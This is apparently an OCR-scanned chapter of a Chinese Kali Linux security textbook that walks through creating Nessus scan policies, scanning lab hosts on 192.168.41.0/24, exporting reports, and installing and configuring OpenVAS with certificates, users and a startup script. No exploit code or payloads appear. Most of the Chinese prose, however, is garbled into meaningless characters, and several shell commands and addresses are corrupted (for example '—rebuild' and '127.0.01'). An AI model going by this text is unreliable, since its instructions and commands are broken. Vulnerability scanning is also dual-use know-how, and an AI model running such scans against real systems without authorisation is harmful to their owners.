(6) fEZALHAT H] BUbR D) #:3 Policies LT+ I, ¥ Eon P 5.9 By St .
(7) {EiZFt i New Policy #4f, K i tnl& 5.10 Frosir) AL .
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Nessus / Policies - Iceweasel HE‘T

File Fdit View History Bnokmarks Tocls Help

“J Nessus j Policies Ii Iﬁi

4 [ @ httpe//127.0.0.1:8834/html5. hemls#/policies v @] [Bv Google al {& @

B Most Visited~ Wl Offensive Security S Kali Linux %% Kal Docs nExpEnit-DB ‘Aircrack-ng

{;@NQSSUS Scans Schedules agmin
Policies | Upload |
Policies / All Policies

All Policles

No policies have been created. You can add new policies by clicking the "Naw ~olicy” buiton.

k 01008 - 2014 Tenabk Ne'wok Security®. All Rights Resenved. Nessus Home Yerson
5.9 SRS
Policy Wizards
enumerates missing updates unknown web vulnerabilities Windows systems Al
% ‘
Mobile Device Scan Prepare for PCI DSS Audits Offline Config Auditing
Assess mobik devices via For administrators preparing for a plad and audit the config fik of a
Exchange or a Mobike Device PCI DSS compliance audit etwork device
Advanced Policy
Create a policy without using any
templates or recommendations
(]

g 5.10 Hingm S

(8) IZFTHIEFE AR MM . Nessus ZRINLFE 10 FPOng M, (A 5wngEm FA74¢
AN F R R . X LR Advanced Policy 287, B iliiZEbs)G, ¥ B8R 511 fiR
(1) 511

(9) {EZA B E g 4% . w] WAEARGAE B Calaeli) o IX R E 5% 4424 Local
VulnerabilityAssessment., H] W44 private, SR )5 B 20 A) Plugins $7r25%, 5 Wmunpd 5.12
Brsi gt . (P 5.11 v Visibility 43 P4~ 1270

O private: ¥ H CHREA AT TEEE 14 .

U shared: HARH] /0 BEAE ] I TERE 14
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CPRER  HUEEE

£ Policies New Advanced Policy / General Settings / Basic
General Seftings
9 Setting Type Basic -
Credentials
Plugins Name
Local Vulnarability Assessment
Preferences
Visibility
private hd
Description
Allow Post-Scan Report Editing '
Cancel
B 511 BrEEsing
Policies | Disable Al | EnablieAll | - -
< Policies Local Vulnerability Assessment / Plugins Show Enabled | Show All
General Settings Status Plugin Fami...  Total Status Plugin Name  Plugin ID
Credentials DISABLED AlX Local S.. 11083 | Default ... 48274
Plugins Amazon Lin... 319 Default ... 12513
Preferences
FEES  Eackdoors o7 Default ... 65820
TR s = Detaun .. on
DISABLED CentOS Loc... 1660 Default ... 40385
DISABLED CGl abuses 2904 Default ... 46240
DISABLED CGl abuses... 580 EMAELED Default ... 4258
& ]
Cancel

K512 iRy

(10) & FM s T TR, BOA AR s i . 7R 5t nf LA Disable All
%, AT RN . REfEH LB )N, WE3) Debian Local
Security Checks F1 Default Unix Accounts ffi -7, Jo a5 & 5.13 k.

(11) {EiZ A s Save 308, K oW 514 Jros i) At .

(12) MiZFEm o] LAFE B8 2 1) 5 0% Local Vulnerability Assessment, <7~ 1% i £ 61
).
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Aty At e g
H20 R B BRI
Policies Disable All | Enable Al |
< Policies Local Vulnerability Assessment / Plugins Show Enabled | Show All
(]
General Sattings DISABLED CGl abuses ... 550 Status Plugin Name  Plugin ID [
Credentials DISABLED cisco 458 ENABLED Default ... 48274
Plugins DISABLED Databases 345 Default ... 12513
Preferences .
Debian Loca... 2891 Default .. 65820
Default Unix... 89 Default ... 34081
DISABLED Denial of Se... 104 ENABLED Default ... 40355
. b e
FedoraLoca... 6879 Default .. 4238
3

(<]

B 5.13 R NiRFRT

File Edit View History Bookmarks Tools Help

()

) Nessus / Policies

Nessus / Policies - Iceweasel

€ [ & htpsi//127.0.0.1:8834/htmlS html#/policies

v a V Google

{®yNessus

Policies

© New Policy

All Policles Name »

[ Most Visited™ [l Offensive Security & Kali Linux ' Kali Docs KMExploit-DB W Aircrack-ng

Schedules

Upload

Policies / All Policies

Cwner

Local Vulnerability Assessment  admin

admin

Type

Private

2. FEFPMES

P 514 Fr i g

RS QRN T, IR TS5 A RESE DR IS IR A g 4y

) B AR R

(1) 7EEI 514 v, K RARYS] Scans ZEIHF |, K BosiEl 515 Pros i # i .

(2) Mz FHHa] LA B 2 5 s i 25, B LA SR RiT 55 )5 4 Redad
FE1Z S B New Scan 44281, A B7- W& 5.16 FoR.

(3) {EZFH IR EFRAT S AP AR RS . SO e Ring B br. X H 008 &N
Sample Scan . Local Vulnerability Assessment ( § ([ 5 2 1) S5 BS ) . My Scans
192.168.41.0/24. #R )5 i Launch %5, ¥ WosWif 5.17 Fros i) F i .
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(4) MizFtmn LUA 2 ES1RA& N Running (E7RIZ{T) , R/~ Sample Scan
TR SN o an R AR b4, TR 0 O abk— ) 428 AR B E AT

Nessus / Scans - lceweasel uﬂd

File Edit View History Bookmarks Tools Help

) Nessus / Scans m
8 [ & nttps://127.0.0.1:8834/html5.html#/scans v @] [Bv Google a 4

[ Most Visitedv JlOffensive Security " Kali Linux "% Kali Docs EBExploit-DB Wy Aircrack-ng

{E)NGSSUS Scans Schedules Policies admin
Scans Upload
My Scans . o
No scans have been generated for this account. You can add a scan by clicking the "New Scan" butten.
Trash
» All Scans
New Folder
Kl 515 FfhES 5w
< Scans New Scan / Basic Settings
Basic Seftings Name Sample Scan
Schedule Settings
Policy Local Vulnerability Assessment -
Email Settings
Folder My Scans -
Targets 192.168.41.0/24
Upload Targets Add File

P 516 HradtaHiES
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Nessus / Scans - Iceweasel Hljl;.

File Edit View History Bookmarks Tools Help
D Nessus / Scans o0
‘ [ a https://127.0.0.1:8834/html5 html#/scans v e] 1\’ Google Q] @ ﬁ
5| Most Visited ¥ “Offensive Security N, Kali Linux '\Kali Docs nExpLuit-DB W Aircrack-ng

{-‘E}NESSUS scans [fJ Schedules admin ¥

Scans Upload

My Scans Name Status

Trash Sample Scan () Running
» All Scans

New Folder

K517 2T

512 FHEAMFR

FEHTTAIAT 28 T Nessus [1]%%e . BoE . o SOopr R NE AAREAT 55, ILAEnf LUTAGSE
PR 1 2 A o 0T 8 SRS AT F AT 251X HL s AN Bk, A/ p HLA A
b IR T S0 A AR R A A

(L6151 AR IR B AR VR DR W s

(1) W44 4 Local Vulnerability Assessment 52 B .

(2) BT AR R .

O Ubuntu Local Security Checks: 1445l Ubuntu %4240 1% .

O Default Unix Accounts: FIfiERIA Unix Ik /.

(3) H&E44 Jy Sample Scan 14155 .

(4) FARG . FRAESIITER)E, ¥ BoR & 518 FroRm S

Nessus / Scans - Iceweasel HIEJ X
File Edit View History Bookmarks Tools Help
) Nessus / Scans “;l
€ @ nttps://127.0.0.1:3834/ntml5.htmi%/scans ~ €] [B~ cocgle q) &

@ Most Visitedv JllOffensive Security ", Kali Linux " Kali Docs EBExploit-DB Wy Aircrack-ng

Schedules Policies admin  ~

Scans Jpload

© New Scan Scans / My Scans
My Scans Name Last Updated « Status

Trash Sample Scan April 24, 2014 15:08:09 ~ Completed
» All Scans I
New Folder

i 5.18 FHHsEmk
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(5) TEiZF M HHT % 4 %% Sample Scan, K WnHii M E{G S, Wk 519

Fi7se

F 519 HEMEARER

-
Sample Scan Expot Audit Trail v
scans > Hosts [  Vunerabiities Hide Details
Host Vulnerabilities Scan Details
Folder: My Scans
192.168.41.234 [+ . Status:  Complsted
Policy: Local Vulnerability Assessment
192.168.41.235 - Targets:  192.168.41.0/24
Start time:  Thu Apr 24 15:03:49 2014
End time: Thu Apr 24 15:08:09 2014
Elapsed: 4 minutes
Vulnerabllities
@ Info
@ Low
Medium
@ High
@ Criical
v

(6) Mizdtminl LUR BB 7 =8 L. JMEARAEL, WTelaR
Vulnerability 41, %5 FECF - PR B M6 B8 A0SR TR, Wi
AL 28K RA . SRS B AR LN A5 . AR A BLRTR P o 7 i e B A

Iy AT A R B Bom IR 7 A . B LSBT AT

ATl B W (Info) .

SRR 45 B A0 % Fm nT LB Host S e (FATAT—AMhk, SR ENNTEmE
KL ADHS TP Ak L 3R AF R G 400 RS 4y I () R 45 A (] 55 o A {51 hr a6 192.168.41.234

Huhb, & 5.20 k.

y
{3 Nessus Schedules admin
Sample Scan Expot ~ Audit Trai -
Hosts > 192.168.41.234 > Vulnerabliities [fIj Hide Details
Severity Plugin Name Count ~ Host Detalls
netstat portscanner (SSH) 4 IP 192.168.41.234
0os: Linux Kemel 3.12-kali1-686-pas
Start time:  Thu Apr 24 15:04:43 2014
End time:  Thu Apr 24 15:04:57 2014
KB: Download I
“  Vulnerabllities
K520 iR
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(7) TEiZFHE T INFO 4481, K s RARRRIG R, Wk 521 Fros.

netstat portscanner (SSH) A Plugin Details
Severity: Info
Description
1D: 14272
This plugin runs 'netstat' on the remote machine to enumerate open ports. Version: 1.57
Type: remote
See the section 'plugins options'to configure it. .
Family: Port scanners
Published: 2004/08M15
Output Modified: 2013/10/30

Port 68/udp was found to be open
. Risk Information

Port * Hosts
Risk Factor: None

68 / udp 192.168.41.234 &

Port B8834/tcp was found to be open

Port * Hosts

BB34/1cp / www 192.168.41.234 @

Port 15774/udp was found to b= op=n

<]

K521 i TEARE R

(8) ZF B T Isif AR F B AR E . @, ZENL ETFR T 68, 8834
A1 15774 %5 O o {f F Nessus i o] LU SO0 5 A B TG S, 5 RSkt
f04% Nessus, PDF, HTML, CSV # Nessus DB. 5 1 0 E 77 28 F s

1EFE 5.20 s Export 14411, PSS H SCIFRE . IX %R PDF #5:X, i PDF
il SR 5.22 Brosi S

PDF Chapter Selection

Available Content Report Content

Hosts Summary (Executive) = Drag and organize content here.

Vulnerabilities By Host

Vulnerabilities By Plugin

P 522 WTHIMARE

(9) S5 AN ER S, BLFS Available Content (=] [y %8) Fl Report Content (%
HWFE) o zFmEs TSP PDF SO e (A A TV LS R AR
il . 7B 5.22 s 2 G I A BFRHE R Report Content fEH, HEA A G H R
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W1 5.23 Fros i i .

PDF Chapter Selection

Avallable Content Report Content

Vulnerabilities By Host Hosts Summary (Executive)

Vulnerabilities By Plugin

B 523 FHHARE

(10) {fEiZFH SR THESHRE. ¥l Export #4, ¥ B 5.24 fion
Y 10

Opening Sample_Scan_pme3e2.pdf

You have chosen to open:
B Sample_Scan_pme3e2.pdf

which is a: PDF 344 (23.6 KB)
from: https://127.0.0.1:8834

Would you like to save this file?

Cancel l Save File J

K524 TFHAM
(11) {EiZFtE s Save File #&4, 52 & LA RAAA S, B PDF SO H AT o

5.1.3 M L%imiE

Gn ST AR LAY ] Nessus Bty — N R0 i (7R, 75 B0 & PSR I 210 2 045 1 3L
HEIVHE AR . AR 2HECE Nessus 75 H br B HLF- M 2501, 31X 283145 H br
HLESH At )Y 288 B0 o

[R5 5-21  F1 P2 il i) B AR AR 2L 3R Wk B .

(1) FiiE 44l Internal Network Scan 5% .

(2) WINprF a3k 5-1 .

# 51 FEFAHRERF

CISCO 94 CISCO #%;

DNS 94ili DNS JJi 55 4%

Default Unix Accounts A B ER DA R P ik P A D
FTP 4 FTP M55 4%

Firewalls P CHE B kR

Gain a shell remotely FHHIEFEIRIT Shell

Geeral G A IR %5
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Netware FI9 M A 8
Peer-To-Peer File Sharing PR AR R
Policy Compliance T4 PCIDSS # SCAP {5 &
SCADA P g s i T H
SMTP Problems 194t SMTP u] &
SNMP FIH5 SNMP #%:{Z &
Service Detection HiR S 52
Settings A
(3) #4424 Network Scan (T4 .
(4) g R 5.25 k.
Network Scan Expot ¥ Audit Trail -
Hosts > 192.168.41.1 > Vulnerabliities Hide Details
Sevemy - F‘Iugin Name Count A Host Details
SSL Certificate Cannot Be Trusted 1 IP: 192.168.41.1
DNS: localhost
SSL Self-Signed Certificate 1 MAC: 00:50:56:c0:00:08
os: Microsoft Windows 7 Ultimate
Nessus SYN scanner 7 Start time:  Fri Apr 25 13:37:33 2014
End time:  Fri Apr 25 13:39:16 2014
Service Detection 7 KB Download
VMware ESX/GSX Server detection 2
“~  Vulnerabilities
Common Platform Enumeration (CPE) 1 =

K525 Mg R

(5) Mz FHmm el LU B4 4 LEBO™ R o 0 SRR VR oA iz i, 2 0

Z {5 R SR AT

51.4 PFIEIETE Linux WELRR

AN 4] Nessus $19547 % Linux &4 _E T -

[3£65-3]1 F5445RE Linux R 4801 1) AR DB R R,

(1) 1§ ff} Metasploitable 2.0 {E4 H Az =ML Pt nf A A HAB A 1T Linux 545
(2) #Fr# 4,4 Linux Vulnerability Scan %A% .

(3) ST FFE e, Wk 5-2 Frs.

#5-2 FREHERF

Backdoors HE R B

Brute Force Attacks ey

CentOSo Local Security Checks 444 CentOS F 4 114 A Hh % 4w A
DNS 9415 DNS JJi 55 4
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Debian Local Security Checks {944 Debian 4 [1) 423 22 2
Default Unix Accounts FHEBL A Unix H P IR S
Denial of Service ERELE i) &y
FTP F13# FTP fR 55 4%
Fedora Local Security Checks 1944 Fedora F 25 1) A M 22 ksl
Firewalls ERE e
FreeBSD Local Security Checks 94 FreeBSD F 401 A th 22 40 1
Gain a shell remotely AR Sk A4 1) Shell
General ESEip H ]
Gentoo Local Security Checks 1944 Gentoo F 4t () A Ha %2 42 I il
HP-UX Local Security Checks 14 HP-UX R 451 4 b 22 4> il
Mandriva Local Security Checks 14 Mandriva F 40 (1) 4 b % 4> i
Misc B A e
Red Hat Local Security Checks 944 Red Hat F 5 (1) 4 M 22 =ik
SMTP Porblems =i SMTP fu]
SNMP 9415 SNMP i
Scientific Linux Local Security Checks #-14# Scientific Linux F & (1) 4= i 2 4=
Slackware Local Security Checks 4 Slackware F 5 1) A b 22 4= i il
Solaris Local Security Checks 4 Solaris F 4 A b 22 4= I il
SuSE Local Security Checks 4 SuSE FR 41 A 1 22 4 J T
Ubuntu Local Security Checks 4% Ubuntu 48 1) 4 122 4= i
Web Servers 4 Web IR55 %%
(4) Fr#t44 4 Linux Vulnerability Scan $4i{T45 .
(5) . HmE R A 5.26 Pros.
Linux Vulnera... Expot = Audit Trail - 2
Scans > Hosts n Vulnerabilities Remediations Notes Hide Details
Host Vulnerabilities = Scan Details
102.168.41.254 Name: Linux Vulnerability Scan
Folder: My Scans
192.168.41.2 Status: Completed
Policy: Linux Vulnerability Scan
192,168.41,235 Targets: 192,168.41.0/24
Start time: Fri Apr 25 14:06:30 2014
192.168.41.234 End time:  Fri Apr 25 14:13:09 2014
Elapsed: 7 minutes
192.168.41.1
162.168.41 142 ﬂ Vulnerabilities
@ Info
@ Low
Medium
@ High
@ Criical
— .

P 526 455 Linux R4 FIHI25 5
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(6) WiZFm el UGS EBILHHE T 6 & BHL EAYIRIE . Hr, THL 192.168.41.142
BAFE 7 AN EEB YRR . IR E L, WO F MR IEE T T #E] .

(IR, FH P AT LA FH i T A G4t I A 7, A R A5
5.1.5 FA5E Windows BI R G TRRE

KA A 2048 1] Nessus F1Hi 7 ¢ Windows R 48 R .

(361 5-4]1 A1 Nessus $9$ 55 & Windows 5001 . A4+ 1] Windows 7 R ZE4F

AR BAERREERN R,
(1) #rE4 K Windows Vulnerability Scan 1% .
(2) WP AEAFET, W3k 53 iR,

#*5-3 FimfAHiERF

DNS 4 DNS %5 2%
Databases AR

Denial of Service A A 1 R 55

FTP FI FTP g5 4%

SMTP Problems F4ti SMTP ju] i

SNMP it SNMP

Settings HifiwEEE

Web Servers 14 Web Servers
Windows 14 Windows
Windows:Microsoft Bulletins 14 Windows Ffaf 45 22 &
Windows:User management 4% Windows f 7 i Bl

(3) JHRndE . Fa R P 5.27 Fros.

File Edit View History Bookmarks Tools Help

Nessus / Scans [ Hosts - Iceweasel QILJ“

) Nessus / Scans / Hosts ogn
€ [ & nt1ps//127.0.0.1:8834/ntml5 html#/scans/56092639-fb1d-9cr5-207 L v @ [Bv Google a) &
[& Most Visitedv  JllOffensive Security %, Kali Linux " Kali Docs ﬂExpluit—DB ‘Aircrack—ng
Windows Vul... Export = Audit Trail - [
Scans > Hosts Vulnerabilities Hide Details
Host Vulnerabilities = Scan Details
192.168.41.1 1 ] Name: Windows Vulnerability Scan
Folder: My Scans
Status: Completed
Policy: Windows Vulnerability Scan
Targets: 192.168.41.1
Start time:  Fri Apr 25 14:09:15 2014
End time:  Fri Apr 25 14:10:52 2014
Elapsed: 2 minutes | |
-

K 5.27 14 Windows 55 (1) &5 5
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(4) MizFrmnl LUE 2L 192.168.41.1 BITRHFIEOL, iz BN AR LB E Y
T e R RLP AT U R A 2 R RO A A RIS B, BEE LA
ALK P o

52 4% OpenVAS

OpenVAS (JFBGURTFVEMG REGE) & AN b/ IR 45 45 284, &F FIRVEAL H ks =41
IR . OpenVAS J& Nessus I H 11—/ 3, B3R 52 e % 7% . OpenVAS
BN e e bR HE Kali Linux B, AT 20 00 E A5 3l OpenVAS.

52.1 B & OpenVAS

OpenVAS ZRIATE Kali Linux %820, WOREAM A% T H, b S r—LLiiE.
AL OpenVAS HARIAT L IRU B R,

(1) 7E&35 % AP 3] OpenVAS Hik, 4 OpenVAS F2I7AI4 SSL ik 1i. T
AN PR

root@kali:~# cd /usr/share/openvas/
root@kali:/usr/share/openvas# openvas-mkcert

PATLL Ear ), Ffm i PR pfE R

Creation of the OpenVAS SSL Certificate

This script will now ask you the relevant information to create the SSL certificate of OpenVAS.
Note that this information will *NOT* be sent to anybody (everything stays local), but anyone with

the ability to connect to your OpenVAS daemon will be able to retrieve this information.

CA certificate life time in days [1460]: #%E CA E+H B JATE
Server certificate life time in days [365]: #ig B AR 55 IE 4 A S i)
Your country (two letter code) [DE]: #ig B ER

Your state or province name [none]: #ig B Mk E 4

Your location (e.g. town) [Berlin]: #He B

Your organization [OpenVAS Users United]: #ig B

PAESERrE R, ATRARC BT LAAAL S . WA AREC E 15, H3EIE T Enter B4%
WCERAE RIS DU RS RBEE S A, #Eaabl e

Creation of the OpenVAS SSL Certificate

Congratulations. Your server certificate was properly created.
The following files were created:
. Certification authority:
Certificate = /var/lib/openvas/CA/cacert.pem
Private key = /var/lib/openvas/private/CA/cakey.pem
. OpenVAS Server :
Certificate = /var/lib/openvas/CA/servercert.pem
Private key = /var/lib/openvas/private/CA/serverkey.pem
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Press [ENTER] to exit

W S B oR T B OpenVAS UE T & A7 5 . MhIH% N Enter 88, B HFLF.
(2){fi}H] OpenVAS NVT Feed [i]:5 OpenVAS NV'T $#i 42, J H 057 52 57 (R S
AT A 4 1 B TR

root@kali:/usr/share/openvas# openvas-nvt-sync

[i] This script synchronizes an NVT collection with the 'OpenVAS NVT Feed'.

[i1 The 'OpenVAS NVT Feed' is provided by 'The OpenVAS Project'.

[i] Online information about this feed: 'http://www.openvas.org/openvas-nvt-feed.html'.

[i] NVT dir: /var/lib/openvas/plugins

[i] rsync is not recommended for the initial sync. Falling back on http.

[i] Will use wget

[i] Using GNU wget: /usr/bin/fwget

[i] Configured NVT http feed: http://www.openvas.org/openvas-nvi-feed-current.tar.bz2

[i] Downloading to: /tmp/openvas-nvt-sync.xAKyyzYVdT/openvas-feed-2014-04-25-8214 tar.bz2
--2014-04-25 14:35:48-- http://www.openvas.org/openvas-nvt-feed-

current.tar.bz2

IEERRHTEH www.openvas.org (www.openvas.org)... 5.9.98.186

E7E3%1E www.openvas.org (www.openvas.org)|5.9.98.186|:80... Bi&#.

B4 HTTP ik, EAZFFER... 200 OK

KE: 14771061 (14M) [application/x-bzip2]

IE#EREZE: “/ftmp/openvas-nvt-sync.xAKyyzYVdT/openvas-feed-2014-04-25-8214 tar.bz2”
1000/0[::: == ===—=—====—=—===—=—======== == ]
14,771,061 54.0K/s FHEf 7m 16s

2014-04-25 14:43:07 (33.1 KB/s) - Ef&1F “/tmp/openvas-nvt-sync xAKyyzYVdT/openvas- feed-
2014-04-25-8214 tar.bz2” [14771061/14771061])

12planet_chat server xss.nasl
12planet_chat_server_xss.nasl.asc
2013/
2013/secpod_ms13-005.nasl.asc
2013/gb_astium_voip pbx 51273.nasl
2013/secpod_ms13-001.nasl
2013/deb_2597 .nasl
2013/gb_astium_voip_pbx_51273.nasl.asc
2013/secpod_ms13-006.nasl
2013/gb_edirectory_57038.nasl
2013/secpod_ms13-006.nasl.asc
LEEBSAE..
zope_zclass.nasl.asc
zyxel_http_pwd.nasl
zyxel_http_pwd.nasl.asc
zyxel_pwd.nasl

zyxel_pwd.nasl.asc

[i] Download complete

[i1 Checking dir: ok

[i] Checking MD5 checksum: ok

B ih 045 2R T AP OpenVAS NVT i R 15 BN, JF SR T iy il E B -
(3) BUER P ik FE. hATar-S W b R:
root@kali:/usr/share/openvas# openvas-mkcert-client -n om -i

Generating RSA private key, 1024 bit long modulus
++++++
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+H++++

e is 65537 (0x10001)

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter "', the field will be left blank.

Country Name (2 letter code) [DE]:State or Province Name (full name) [Some-State]:Locality
Name (eg, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]:Organizational Unit
Name (eg, section) []:Common Name (eg, your name or your server's hostname) []:Email Address
[]:Using configuration from /tmp/openvas-mkcert-client. 16792/stdC cnf

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name is as follows

countryName :PRINTABLE:'DE'
localityName :PRINTABLE:'Berlin'
commonName :PRINTABLE:'om’

Certificate is to be certified until Apr 25 06:55:05 2015 GMT (365 days)
Write out database with 1 new entries

Data Base Updated

User om added to OpenVAS.

DA A6 B o 1 AR R P T R LA, RSN T om FI
(4) HEEHAGRE. AT W FTR:

root@kali:/usr/share/openvas# openvasmd —rebuild
PATEL B2 e, WA MRS R
(5) a3 OpenVAS #13t, JFINEATAHME. AT a2 W F R

root@kali:/usr/share/openvas# openvassd
Loading the OpenVAS plugins...base gpgme-Message: Setting GnuPG homedir to ‘/etc/openvas/

gnupg’
base gpgme-Message: Using OpenPGP engine version '1.4.12'
All plugins loaded

Mot BA5 bl LU BT fl AT . B maimddm it bt 2, prbi T ixdr &
] L5 [ o S
(6) E@IFAIEEHFEN &0 HATHSUWRHIR:

root@kali:/usr/share/openvas# openvasmd --rebuild
root@kali:/usr/share/openvas# openvasmd —backup

PATEL Edr @ )a, AT B

(7) g5 OpenVAS [T /1o BATaAT 4 W R FTR:
root@kali:/usr/share/openvas# openvasad -¢ 'add_user' -n openvasadmin -r Admin

Enter password:

ad main:MESSAGE:2732:2014-04-25 15h25.35 CST: No rules file provided, the new user will
have no restrictions.

ad main:MESSAGE:2732:2014-04-25 15h25.35 CST: User openvasadmin has been successfully
created.

M 5 SRl LA 2 H ) openvasadmin #5 a2 61 4
(8) BEE—ANME T F . PATaT S W R FToR:
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root@kali:/usr/share/openvas# openvas-adduser
Using /var/tmp as a temporary file holder.
Add a new openvassd user

Login : lyw #HaAAA P2
Authentication (pass/cert) [pass] : pass #HEFINES
Login password : #RBERPERN
Login password (again) : #i AN
User rules

openvassd has a rules system which allows you to restrict the hosts that lyw has the right to test.
For instance, you may want him to be able to scan his own host only.

Please see the openvas-adduser(8) man page for the rules syntax.

Enter the rules for this user, and hit ctrl-D once you are done:

(the user can have an empty rules set) #H2 T Ctrl+D
Login zlyw

Password * ok o Ak o

Rules :

Is that ok? (y/n) [y] y #hA y, BIEEE
user added.

M A B G 2w s .
(9) 4 OpenVAS AL i H o AT A2 W1 F s

root@kali:/usr/share/openvas# openvasmd -p 9390 -a 127.0.0.1
root@kali:/usr/share/openvas# openvasad -a 127.0.0.1 -p 9393
root@kali:/usr/share/openvas# gsad --http-only --listen=127.0.0.1 -p 9392

HATLL E4r A5, OpenVAS [ 5 5k #7155 4 9392,
LGEE. 9392 2IFEM—/A Web i) 880, A fF A TlikFE s o 2,

(10) 7630 28 14 N http://127.0.0.1:9392/, #TJF OpenVAS 5 51, W1 5.28 Fir.
e 0| x

File Edit View History Bookmarks Tools Help

'40 Greenbone Security Assistant “E]
[@ 127.0.0.1:9392/login/login.html Vel [V Google @.l @
»

[ Most Visitadv |l Offensive Security "% Kali Linux "% Kali Decs

Greenbone Security Assistant

Username |openvasadmin
—

Login

¥ 528 OpenVAS %3 FLM
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(YD) fEiZAHsA QR Z A E s, 285 i Login %241, KrZaaniE 5.29 B
BT

Greenbene Security Assistant — lceweasel ;E“

File Edit ¥iew History Bookmarks Tools Help

& Greanbhone Sacurity Assistant "ﬁh]

« [d’ 127.0.0.1:9392/amp?cmd=get_tasks&overrides=1&token=ead57eed-4c7f-45 1./ v a V Google @.] J:,L ﬁ

[ Most Visitedv [l Offensive Security "8 Kali Linux % Kali Docs EMExploit-DB W Aircrack-ng
Greenbone
&

Security Assistant

Scan Management Assel Management  Secinfo Management Configuration EXIra AdmInIStration

Fiter: spply_overrides=1 first=1 rows=10 sort=nams

oo |
____

{Applied filter: apaly o

P 520 OpenVAS #]45 # i

KT 5 OpenVAS Fr 21— LI INf5 B B IKI£ AT OpenVAS I}, # b2 E A5 LA T TAF:
)20 NVT Feed (VBT HUTRIAH AP, ik i)
J& &) OpenVAS i
Fhe A7 B I
O AdE .
T LN, F A G Y Bash I, 7 EHIHE) OpenVAS. R
AFFAIA SO 44 ) OpenVAS sh,  JFJiZ ST 7E/root SCAEIE o JHASSCAT A7 B Bs :
#l/bin/bash
openvas-nvt-sync
openvassd
openvasmd --rebuild
openvasmd --backup
openvasmd -p 9390 -a 127.0.01

openvasad -a 127.0.0.1 -p 9393
gsad --http-only --listen=127.0.0.1 -p 9392

d
d
d
d

% 5 L AR UJHJJ OpenVAS | =4
MATIRIT S & A4 T, NEERIT— F I é} Froe
OpenVAS.sh A ITLL T . —— L x

F Kali th, OpenVAS WiRGET BT || ™ -
fi. %) OpenVAS [ RN il e || rmmiee | v Por

€ Kali S LHRKEHE “RR || memny (oo o )@
7 Kali Linux| “ 5877 (0penVAS| || o | 257
openvas-gsd 7%, K W WIE 5.30 Jir7R i) St e | [opemiasadnin |
ﬁ,ﬁ o Password

AR R PN T | X l
127.0.0.1, M4 FIEFHM ., RG5Hd [ togin || cancel |

Log in ] BN 0] & >% 3] OpenVAS JI 5545 . 4 530 OpenVAS E#8FAmH
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5.2.2 i Scan Config #1f3#1ES

J L LA AP SR OpenVAS sifC & T, BUAEMEH BEas iy 7 8 ki ss4s . fEizss
#a U Scan Config, G4 B AR Ao dt 1AL 55 4 0] DAdEAT & Flika il #74m . EIFIX
SefE B P g AT & R T, WA 4% I
PR E B R RIS . AT BRI 2 R, R

(148 Scan Config AMHIT 4545, X HHFA A ZHICSETUR, AT | sonms
AEH] . e i
Alerts ka
###Scan Config Fiters
Wi Scan Config (1) HAREAEDERWTT FiR. pepert formes
(1) {ENRSS 2 S B K ik +E Configuration|Scan Conﬁg s fiT Agents
2, W 531 Pran. #iifi Scan Configs fir 2 /i, FfWn WP 532 FI7R 531 Scan Configs

SR T

Scan Configs 1 - 5 of 5 (total: 5) PEE @ |5
Filter: rows‘lO first=1 sort=name gl-*Bg

Families
Actions

(eETn?'}g and static configuration template.) B o (=} 4 4 D a
(FR:LIS:ESTT::’;ptimized by using previously collected information.) 51 G 3ae04 m &3
{Fl\:ys::STf:ls:crult:llnm;l;se that can stop services/hosts; optimized by using previously collected information.) 51 Ed 34694 u m u
(FI:LIS:ESTV::‘);:IE:’TJET previously collected information; slow.) 51 Ed 3ae04 [ ] 4]
Full and very deep ultimate = B s B oo

{Most NVT's including those that can stop services/hosts; don't trust previously collected information; slow.)

F¢l 532 Scan Configs 5[

(2) MAZ Tt v] LG B BRI B 3L HT 5> Scan Config. 75 1% 5 1] H.iHES(New Scan Config)
Flbr, ¥ S 533 Fros i Ftm.

4? Greenbone & Logged in as Admin openvasadmin | Logout
2 Security Assistant

Fri Apr 25 07:51:38 2014 UTC

Scan Management Asset Management  SecInfo Management Configuration Extras Administration

New Scan Config 7E
bl [Lo:a\. Vulnerabilities ]

Comment (optional) [ l

® Empty, static and fast
oy mpty, static and fas

O Fulland fast

Create Scan Config

{533 New Scan Config
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TR LTI E 2477, IX 5% A Local Vulnerabilities . 4 1~ Base 1% 4% Empty,
static and fast BIEAME, Z&I R P ANEITIH I & H AL E . #8558 Create Scan
Config 54, K2 FHBFEMACE, WK 5.34 Jig.

Actions

Local Vulnerabilities 0 & 0 = @[] A]=] ]

B 5.34 Hr#E Local Vulnerabilities

(4) M iZ G a] LLF 213857 219 Local Vulnerabilities, 245 45 1% A0 & 0] UL % 5 p2(Edit Scan
Config) [lfr. G4 Scan Config J& ik BRI A 2 o LI B R bRa B4 1) N2
Wik 5.35 Fios.

Edit Scan Config @& &

R [Lacal Vulnerabilities

Comment (optional)

Save Config |

Edit Network Vulnerability Test Families

Family ® o= NVT's selected Select all NVT's

Compliance 0of4 Cld®o&d

Databases 0of115 cdel L)
Debian Local Security Checks 0 of 2899 cl® :1 O
Default Accounts 0of68 cdded
Denial of Service 00f877 cldeld %
P 0of 168 cdel
Total: 0 00f0 (=]

I Save Config |

P 535 EFHEAE

(5) Mz FLifn ) Family #5247 1R 2 (1 a] HH6E E, %ﬁﬁsmamNW?F#mE
EREZ L FEPE], BEE e, $m&w0m@&ﬁ Kl 535 B s —NE, %
??‘ﬁﬁ\wﬂ?lﬁ"]lj‘]fﬁiﬂg, EET [I]FHE]JJ/FJi.i /\ﬁﬂl f“ﬁlgﬁ_}v

2. FEBR

TE MRS5S 25 B3 B R vh i Ik ik % Configuration|Targets #i74, ¥ W n & 5.36 A
G -

.JE Logged in as Admin openvasadmin | Logout

Greenbone
"Q} Security Assistant

Sat Apr 26 03:16:28 2014 UTC

Scan Management Asset Management Secinfo Management Configuration Xtras Administration

Targets1-10f 1 (otal: ) IRE W [EEEIENEY S :
Filter: [ruws:IO first=1 sort=name l 7] al--° €]

Localhost localhost 1 OpenVAS Default 20

{536 Targets 7
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iR TS (New Target) FEbr, $f W= wifE 5.37 Broas i 5.

Name

[Local Vulnerabilities l

Hosts
= ® Manual [lncalhost ]

O From file : Browse... | No file selected.

Comment (optional) l I

Port List [ALLIANA assigned TCP 2012-02-10 ¢

SSH Credential (optional) | _|a ‘nn port

SMB Credential (optional) o ‘

‘ Create Target

B 537 WiEt Target FL1H

